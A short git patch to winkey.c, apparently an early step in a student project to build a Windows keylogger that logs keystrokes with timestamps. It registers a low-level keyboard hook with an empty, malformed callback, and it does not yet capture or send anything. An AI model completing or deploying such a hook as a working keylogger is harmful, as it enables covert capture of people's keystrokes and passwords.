From 6e9fce6055b809c37b06ea363ce96ed4c9b8df11 Mon Sep 17 00:00:00 2001 From: H3XploR <73852348+H3XploR@users.noreply.github.com> Date: Fri, 27 Mar 2026 22:26:25 +0100 Subject: [PATCH] util;iser les hook windows --- winkey.c | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/winkey.c b/winkey.c index 548aa87..da20c0f 100644 --- a/winkey.c +++ b/winkey.c @@ -8,10 +8,22 @@ * -Tout ces infos doivent etre stocker dans un fichier de log avec l'horaire des logs * -Evidement le logs logs doivent etre lisible par un humain */ + +LRESULT CALLBACK LowLevelKeyboardProc(int nCode, wParam, lParam){ + +} + int main(void){ BOOL is_running = 1; HWND hdWindowForeground = GetFocus(); HHOOK HookFgWind = SetWindowsHookExA(WH_KEYBOARD_LL, - + LowLevelKeyboardProc, + NULL, + 0); + if (HookFgWind == NULL){ + printf("Le hook est nul\n"); + return 1; + } + printf("Le hook est bon\n"); return 0; }